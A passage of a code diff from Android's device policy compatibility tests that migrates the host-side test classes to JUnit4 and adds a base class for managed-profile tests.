@@ -30,11 +36,16 @@
import com.android.tradefed.result.TestDescription;
import com.android.tradefed.result.TestResult;
import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.TarUtil;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
@@ -56,7 +67,8 @@
* Base class for device policy tests. It offers utility methods to run tests, set device or profile
* owner, etc.
*/
-public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test implements IBuildReceiver {
@Option(
name = "skip-device-admin-feature-check",
@@ -82,9 +94,6 @@
*/
private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
- /** instrumentation test runner argument key used for individual test timeout */
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
/**
* Sets timeout (in milliseconds) that will be applied to each test. In the
* event of a test timeout it will log the results and proceed with executing the next test.
@@ -103,7 +112,6 @@
private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(5);
// From the UserInfo class
- protected static final int FLAG_PRIMARY = 0x00000001;
protected static final int FLAG_GUEST = 0x00000004;
protected static final int FLAG_EPHEMERAL = 0x00000100;
protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
@@ -122,14 +130,6 @@
*/
protected static final int USER_ALL = -1;
- protected static interface Settings {
- public static final String GLOBAL_NAMESPACE = "global";
- public static interface Global {
- public static final String DEVICE_PROVISIONED = "device_provisioned";
- }
- }
-
- protected IBuildInfo mCtsBuild;
protected CompatibilityBuildHelper mBuildHelper;
private String mPackageVerifier;
private HashSet<String> mAvailableFeatures;
@@ -161,15 +161,9 @@
private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertNotNull(mCtsBuild); // ensure build has been set before test is run.
+ @Before
+ public void setUp() throws Exception {
+ assertNotNull(getBuild()); // ensure build has been set before test is run.
mHasFeature = getDevice().getApiLevel() >= 21; /* Build.VERSION_CODES.L */
if (!mSkipDeviceAdminFeatureCheck) {
mHasFeature = mHasFeature && hasDeviceFeature("android.software.device_admin");
@@ -178,14 +172,14 @@
mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
mHasTelephony = hasDeviceFeature("android.hardware.telephony");
mFixedPackages = getDevice().getInstalledPackageNames();
- mBuildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ mBuildHelper = new CompatibilityBuildHelper(getBuild());
mHasSecureLockScreen = hasDeviceFeature("android.software.secure_lock_screen");
// disable the package verifier to avoid the dialog when installing an app
mPackageVerifier = getDevice().executeShellCommand(
- "settings get global package_verifier_enable");
- getDevice().executeShellCommand("settings put global package_verifier_enable 0");
+ "settings get global verifier_verify_adb_installs");
+ getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
mFixedUsers = new ArrayList<>();
mPrimaryUserId = getPrimaryUser();
@@ -220,10 +214,10 @@
executeShellCommand("input keyevent KEYCODE_HOME");
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
// reset the package verifier setting to its original value
- getDevice().executeShellCommand("settings put global package_verifier_enable "
+ getDevice().executeShellCommand("settings put global verifier_verify_adb_installs "
+ mPackageVerifier);
removeOwners();
@@ -233,7 +227,6 @@
}
removeTestUsers();
removeTestPackages();
- super.tearDown();
}
protected void installAppAsUser(String appFileName, int userId) throws FileNotFoundException,
@@ -249,8 +242,8 @@
protected void installAppAsUser(String appFileName, boolean grantPermissions,
boolean dontKillApp, int userId)
throws FileNotFoundException, DeviceNotAvailableException {
- CLog.d("Installing app " + appFileName + " for user " + userId);
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CLog.e("Installing app " + appFileName + " for user " + userId);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
List<String> extraArgs = new LinkedList<>();
extraArgs.add("-t");
if (dontKillApp) extraArgs.add("--dont-kill");
@@ -381,38 +374,15 @@
}
protected void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
- CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- try {
- // we allow 8min for the command to complete and 4min for the command to start to
- // output something
- getDevice().executeShellCommand(
- "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
- } finally {
- String output = receiver.getOutput();
- CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
- if (!output.contains("All broadcast queues are idle!")) {
- // Gather the system_server dump data for investigation.
- File heapDump = getDevice().dumpHeap("system_server", "/data/local/tmp/dump.hprof");
- if (heapDump != null) {
- // If file is too too big, tar if with TarUtil.
- String pid = getDevice().getProcessPid("system_server");
- // gzip the file it's quite big
- File heapDumpGz = TarUtil.gzip(heapDump);
- try (FileInputStreamSource source = new FileInputStreamSource(heapDumpGz)) {
- addTestLog(
- String.format("system_server_dump.%s.%s.hprof",
- pid, getDevice().getDeviceDate()),
- LogDataType.GZIP, source);
- } finally {
- FileUtil.deleteFile(heapDump);
- }
- } else {
- CLog.e("Failed to capture the dumpheap from system_server");
- }
- // the call most likely failed we should fail the test
- fail("'am wait-for-broadcase-idle' did not complete.");
- // TODO: consider adding a reboot or recovery before failing if necessary
- }
+ final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ // We allow 8min for the command to complete and 4min for the command to start to
+ // output something.
+ getDevice().executeShellCommand(
+ "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
+ final String output = receiver.getOutput();
+ if (!output.contains("All broadcast queues are idle!")) {
+ CLog.e("Output from 'am wait-for-broadcast-idle': %s", output);
+ fail("'am wait-for-broadcase-idle' did not complete.");
}
}
@@ -481,12 +451,6 @@
runDeviceTestsAsUser(pkgName, testClassName, testMethodName, userId, params);
}
- protected void runDeviceTests(
- String pkgName, @Nullable String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- runDeviceTestsAsUser(pkgName, testClassName, testMethodName, mPrimaryUserId);
- }
-
protected void runDeviceTestsAsUser(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId,
@@ -495,46 +459,19 @@
testClassName = pkgName + testClassName;
}
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- for (Map.Entry<String, String> param : params.entrySet()) {
- testRunner.addInstrumentationArg(param.getKey(), param.getValue());
- }
-
- CollectingTestListener listener = new CollectingTestListener();
- getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener);
-
- final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ runDeviceTests(
+ getDevice(),
+ RUNNER,
+ pkgName,
+ testClassName,
+ testMethodName,
+ userId,
+ DEFAULT_TEST_TIMEOUT_MILLIS,
+ DEFAULT_SHELL_TIMEOUT_MILLIS,
+ 0L /* maxInstrumentationTimeoutMs */,
+ true /* checkResults */,
+ false /* isHiddenApiCheckDisabled */,
+ params);
}
/** Reboots the device and block until the boot complete flag is set. */
@@ -579,32 +516,6 @@
return listRunningUsers().size() + numberOfUsers <= getMaxNumberOfRunningUsersSupported();
}
- protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
- if (mAvailableFeatures == null) {
- // TODO: Move this logic to ITestDevice.
- String command = "pm list features";
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.i("Output for command " + command + ": " + commandOutput);
-
- // Extract the id of the new user.
- mAvailableFeatures = new HashSet<>();
- for (String feature: commandOutput.split("\\s+")) {
- // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
- String[] tokens = feature.split(":");
- assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
- tokens.length > 1);
- assertEquals(feature, "feature", tokens[0]);
- mAvailableFeatures.add(tokens[1]);
- }
- }
- boolean result = mAvailableFeatures.contains(requiredFeature);
- if (!result) {
- CLog.d("Device doesn't have required feature "
- + requiredFeature + ". Test won't run.");
- }
- return result;
- }
-
protected int createUser() throws Exception {
int userId = createUser(0);
// TODO remove this and audit tests so they start users as necessary
@@ -690,9 +601,9 @@
// If we succeeded always log, if we are expecting failure don't log failures
// as call stacks for passing tests confuse the logs.
if (success || !expectFailure) {
- CLog.d("Output for command " + command + ": " + commandOutput);
+ CLog.e("Output for command " + command + ": " + commandOutput);
} else {
- CLog.d("Command Failed " + command);
+ CLog.e("Command Failed " + command);
}
return success;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index 53db413..31f14cc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -22,7 +22,7 @@
/**
* Common code for the various LauncherApps tests.
*/
-public class BaseLauncherAppsTest extends BaseDevicePolicyTest {
+public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest {
protected static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
protected static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
new file mode 100644
index 0000000..02c37a4
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+public abstract class BaseManagedProfileTest extends BaseDevicePolicyTest {
+ protected static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
+ protected static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
+ protected static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
+ protected static final String ADMIN_RECEIVER_TEST_CLASS =
+ MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
+ protected static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
+ protected static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
+ protected static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
+ private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
+ private static final String NOTIFICATION_PKG =
+ "com.android.cts.managedprofiletests.notificationsender";
+ //The maximum time to wait for user to be unlocked.
+ private static final long USER_UNLOCK_TIMEOUT_NANO = 30_000_000_000L;
+ private static final String USER_STATE_UNLOCKED = "RUNNING_UNLOCKED";
+ protected int mParentUserId;
+ // ID of the profile we'll create. This will always be a profile of the parent.
+ protected int mProfileUserId;
+ protected boolean mHasNfcFeature;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // We need multi user to be supported in order to create a profile of the user owner.
+ mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+ mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
+ && hasDeviceFeature("android.sofware.nfc.beam");
+
+ if (mHasFeature) {
+ removeTestUsers();
+ mParentUserId = mPrimaryUserId;
+ mProfileUserId = createManagedProfile(mParentUserId);
+ startUser(mProfileUserId);
+
+ // Install the APK on both primary and profile user in one single transaction.
+ // If they were installed separately, the second installation would become an app
+ // update and result in the current running test process being killed.
+ installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
+ setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+ mProfileUserId);
+ waitForUserUnlock();
+ }
+ }
+
+ private void waitForUserUnlock() throws Exception {
+ final String command = String.format("am get-started-user-state %d", mProfileUserId);
+ final long deadline = System.nanoTime() + USER_UNLOCK_TIMEOUT_NANO;
+ while (System.nanoTime() <= deadline) {
+ if (getDevice().executeShellCommand(command).startsWith(USER_STATE_UNLOCKED)) {
+ return;
+ }
+ Thread.sleep(100);
+ }
+ fail("Profile user is not unlocked.");
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ if (mHasFeature) {
+ removeUser(mProfileUserId);
+ getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+ getDevice().uninstallPackage(INTENT_SENDER_PKG);
+ getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+ getDevice().uninstallPackage(NOTIFICATION_PKG);
+ }
+ super.tearDown();
+ }
+
+ protected void disableActivityForUser(String activityName, int userId)
+ throws DeviceNotAvailableException {
+ String command = "am start -W --user " + userId
+ + " --es extra-package " + MANAGED_PROFILE_PKG
+ + " --es extra-class-name " + MANAGED_PROFILE_PKG + "." + activityName
+ + " " + MANAGED_PROFILE_PKG + "/.ComponentDisablingActivity ";
+ LogUtil.CLog.d("Output for command " + command + ": "
+ + getDevice().executeShellCommand(command));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index b59222e..f20db27 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -1,7 +1,10 @@
package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -10,8 +13,11 @@
import java.io.FileNotFoundException;
import java.util.Collections;
import java.util.Map;
+
import javax.annotation.Nullable;
+import org.junit.Test;
+
/**
* In the test, managed profile and secondary user are created. We then verify
* {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
@@ -32,7 +38,7 @@
private boolean mCanTestMultiUser;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed users to be supported in order to create a profile of the user owner.
mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
@@ -57,10 +63,16 @@
installAppAsUser(SIMPLE_APP_APK, userId);
}
+ @FlakyTest
+ @LargeTest
+ @Test
public void testPrimaryUserToPrimaryUser() throws Exception {
verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
}
+ @FlakyTest
+ @LargeTest
+ @Test
public void testPrimaryUserToManagedProfile() throws Exception {
if (!mHasManagedUserFeature) {
return;
@@ -68,6 +80,8 @@
verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
}
+ @LargeTest
+ @Test
public void testManagedProfileToPrimaryUser() throws Exception {
if (!mHasManagedUserFeature) {
return;
@@ -75,6 +89,8 @@
verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
}
+ @LargeTest
+ @Test
public void testStartActivity() throws Exception {
if (!mHasManagedUserFeature) {
return;
@@ -82,6 +98,8 @@
verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, START_ACTIVITY_TEST_CLASS);
}
+ @LargeTest
+ @Test
public void testPrimaryUserToSecondaryUser() throws Exception {
if (!mCanTestMultiUser) {
return;
@@ -89,6 +107,8 @@
verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
}
+ @LargeTest
+ @Test
public void testSecondaryUserToManagedProfile() throws Exception {
if (!mCanTestMultiUser || !mHasManagedUserFeature) {
return;
@@ -97,6 +117,8 @@
}
+ @LargeTest
+ @Test
public void testManagedProfileToSecondaryUser() throws Exception {
if (!mCanTestMultiUser || !mHasManagedUserFeature) {
return;
@@ -104,8 +126,10 @@
verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
}
+ @LargeTest
+ @Test
public void testStartMainActivity_logged() throws Exception {
- if (!mHasManagedUserFeature) {
+ if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(
@@ -123,8 +147,10 @@
.build());
}
+ @LargeTest
+ @Test
public void testGetTargetUserProfiles_logged() throws Exception {
- if (!mHasManagedUserFeature) {
+ if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index eca6953..184cc9b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -16,11 +16,12 @@
package com.android.cts.devicepolicy;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.cts.devicepolicy.BaseDevicePolicyTest.Settings;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
-import java.io.File;
-import java.lang.Exception;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
/**
* This class is used for tests that need to do something special before setting the device
@@ -53,6 +54,7 @@
super.tearDown();
}
+ @Test
public void testOwnerChangedBroadcast() throws Exception {
if (!mHasFeature) {
return;
@@ -84,6 +86,7 @@
}
}
+ @Test
public void testCannotSetDeviceOwnerWhenSecondaryUserPresent() throws Exception {
if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
return;
@@ -101,6 +104,8 @@
}
}
+ @FlakyTest
+ @Test
public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
if (!mHasFeature) {
return;
@@ -120,6 +125,7 @@
}
}
+ @Test
public void testIsProvisioningAllowed() throws Exception {
// Must install the apk since the test runs in the DO apk.
installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 51420ea..40b3dd0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -17,19 +17,22 @@
import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.Test;
+
public class CustomManagedProfileTest extends BaseDevicePolicyTest {
private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need multi user to be supported in order to create a profile of the user owner.
mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
}
+ @Test
public void testIsProvisioningAllowed() throws Exception {
final int primaryUserId = getPrimaryUser();
// Must install the apk since the test runs in the ManagedProfile apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
index 3a74953..7ab8265 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
@@ -15,6 +15,10 @@
*/
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
/**
* BaseDeviceAdminHostSideTest for device admin targeting API level 23.
*/
@@ -27,6 +31,8 @@
/**
* Device admin with no BIND_DEVICE_ADMIN can still be activated, if the target SDK <= 23.
*/
+ @FlakyTest
+ @Test
public void testAdminWithNoProtection() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
index 4682ef6..fccc586 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
@@ -15,6 +15,8 @@
*/
package com.android.cts.devicepolicy;
+import org.junit.Test;
+
/**
* BaseDeviceAdminHostSideTest for device admin targeting API level 24.
*/
@@ -27,6 +29,7 @@
/**
* Device admin must be protected with BIND_DEVICE_ADMIN, if the target SDK >= 24.
*/
+ @Test
public void testAdminWithNoProtection() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 0d37457..08826af 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -15,6 +15,8 @@
*/
package com.android.cts.devicepolicy;
+import org.junit.Test;
+
/**
* BaseDeviceAdminHostSideTest for device admin targeting API level 29.
*/
@@ -28,27 +30,11 @@
* Test that we get expected SecurityExceptions for policies that were disallowed in version 29.
*/
@Override
+ @Test
public void testRunDeviceAdminTest() throws Exception {
if (!mHasFeature) {
return;
}
runTests(getDeviceAdminApkPackage(), "DeviceAdminWithEnterprisePoliciesBlockedTest");
}
-
- /**
- * This test is no longer relevant once DA is disallowed from using password policies.
- */
- @Override
- public void testResetPassword_nycRestrictions() throws Exception {
- return;
- }
-
- /**
- * This test is no longer relevant since resetPassword() was deprecated in version 26.
- * Device Owner functionality is now tested in DeviceAndProfileOwnerTest.
- */
- @Override
- public void testRunDeviceOwnerPasswordTest() throws Exception {
- return;
- }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
index a773737..3b678dd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
@@ -15,6 +15,10 @@
*/
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
public class DeviceAdminServiceProfileOwnerTest extends BaseDeviceAdminServiceTest {
private int mUserId;
@@ -25,7 +29,7 @@
}
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (isTestEnabled()) {
mUserId = createUser();
@@ -33,7 +37,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
}
@@ -46,4 +50,11 @@
protected void setAsOwnerOrFail(String component) throws Exception {
setProfileOwnerOrFail(component, getUserId());
}
+
+ @Override
+ @LargeTest
+ @Test
+ public void testAll() throws Throwable {
+ super.testAll();
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index ea7bdc4..89788c7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -2,12 +2,16 @@
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static org.junit.Assert.fail;
+
+import android.stats.devicepolicy.EventId;
+
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.device.DeviceNotAvailableException;
-import static com.google.common.truth.Truth.assertThat;
+import org.junit.Test;
-import android.stats.devicepolicy.EventId;
+import static com.google.common.truth.Truth.assertThat;
public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
@@ -35,6 +39,7 @@
protected String mOutgoingTestClassName;
protected String mIncomingTestClassName;
+ @Test
public void testTransferOwnership() throws Exception {
if (!mHasFeature) {
return;
@@ -51,6 +56,7 @@
.build());
}
+ @Test
public void testTransferSameAdmin() throws Exception {
if (!mHasFeature) {
return;
@@ -60,6 +66,7 @@
"testTransferSameAdmin", mUserId);
}
+ @Test
public void testTransferInvalidTarget() throws Exception {
if (!mHasFeature) {
return;
@@ -70,6 +77,7 @@
"testTransferInvalidTarget", mUserId);
}
+ @Test
public void testTransferPolicies() throws Exception {
if (!mHasFeature) {
return;
@@ -82,6 +90,7 @@
"testTransferPoliciesAreRetainedAfterTransfer", mUserId);
}
+ @Test
public void testTransferOwnershipChangedBroadcast() throws Exception {
if (!mHasFeature) {
return;
@@ -91,6 +100,7 @@
"testTransferOwnershipChangedBroadcast", mUserId);
}
+ @Test
public void testTransferCompleteCallback() throws Exception {
if (!mHasFeature) {
return;
@@ -113,6 +123,7 @@
mIncomingTestClassName = incomingTestClassName;
}
+ @Test
public void testTransferOwnershipNoMetadata() throws Exception {
if (!mHasFeature) {
return;
@@ -122,6 +133,7 @@
"testTransferOwnershipNoMetadata", mUserId);
}
+ @Test
public void testIsTransferBundlePersisted() throws DeviceNotAvailableException {
if (!mHasFeature) {
return;
@@ -134,6 +146,7 @@
"testTransferOwnershipBundleLoaded", mUserId);
}
+ @Test
public void testGetTransferOwnershipBundleOnlyCalledFromAdmin()
throws DeviceNotAvailableException {
if (!mHasFeature) {
@@ -144,6 +157,7 @@
"testGetTransferOwnershipBundleOnlyCalledFromAdmin", mUserId);
}
+ @Test
public void testBundleEmptyAfterTransferWithNullBundle() throws DeviceNotAvailableException {
if (!mHasFeature) {
return;
@@ -156,6 +170,7 @@
"testTransferOwnershipEmptyBundleLoaded", mUserId);
}
+ @Test
public void testIsBundleNullNoTransfer() throws DeviceNotAvailableException {
if (!mHasFeature) {
return;
@@ -167,15 +182,7 @@
protected int setupManagedProfileOnDeviceOwner(String apkName, String adminReceiverClassName)
throws Exception {
- // Temporary disable the DISALLOW_ADD_MANAGED_PROFILE, so that we can create profile
- // using adb command.
- clearDisallowAddManagedProfileRestriction();
- try {
- return setupManagedProfile(apkName, adminReceiverClassName);
- } finally {
- // Adding back DISALLOW_ADD_MANAGED_PROFILE.
- addDisallowAddManagedProfileRestriction();
- }
+ return setupManagedProfile(apkName, adminReceiverClassName);
}
protected int setupManagedProfile(String apkName, String adminReceiverClassName)
@@ -192,28 +199,7 @@
return userId;
}
- /**
- * Clear {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void clearDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- TRANSFER_OWNER_OUTGOING_PKG,
- mOutgoingTestClassName,
- "testClearDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void addDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- TRANSFER_OWNER_OUTGOING_PKG,
- mOutgoingTestClassName,
